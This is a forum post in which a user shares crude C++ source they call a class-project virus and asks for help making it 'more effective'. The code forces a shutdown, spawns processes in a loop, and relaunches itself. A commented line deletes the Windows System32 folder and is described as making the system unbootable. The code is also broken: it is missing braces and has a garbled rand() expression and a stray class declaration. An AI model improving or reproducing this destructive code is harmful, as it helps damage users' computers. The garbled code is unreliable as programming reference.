Basic C++ Help

Discussion in 'C Programming' started by Gregaman, Mar 18, 2015.

  1. Gregaman


    Mar 18, 2015
    Likes Received:
    I am writing a basic virus as a class project, approved by the instructor. I would like help or advice as to how to make this do what I would like it to the best. Please, point out any flaws or fallacies, and give me advice as to how to make this more effective. I've currently "neutered" the virus, making it so the most it does is crashes your computer, and allows you to reboot just fine. The program only runs when you run it yourself.

    #include <cstdio>
    #include <cstdlib>
    #include <iostream>
    #include <iomanip>
    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    using namespace std;
    int main()
    int DS32;
    class randomnumber;
    DS32=rand (); 1000 + 1;
    if (DS32>950) goto B;
    if (DS32<950) goto A;
    B: system("shutdown -f"); //This is a placeholder command to protect the system. In an actual virus, it would harm the computer severely.
    A: do
    system("winhlp32.exe"); //Remember when you accidentally hit f1 and this showed up? Quite.
    while (system("explorer.exe")); //Too much of anything is too bad.
    system("widnow.exe"); //This will make the program run itself again... And again... And again.
    system("pause"); //Not entirely sure what this is for, but it doesn't work without it.
    return 0;

    /*Below is the command that I would have used, had I wanted to cause legitimate harm to the computer.*/
    // remove("C:\windows\system32\\");
    /*Said command removes the all contents in the specified folder. Without System32, the system cannot boot.*/
    Gregaman, Mar 18, 2015
    1. Advertisements

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments (here). After that, you can post your question and our members will help you out.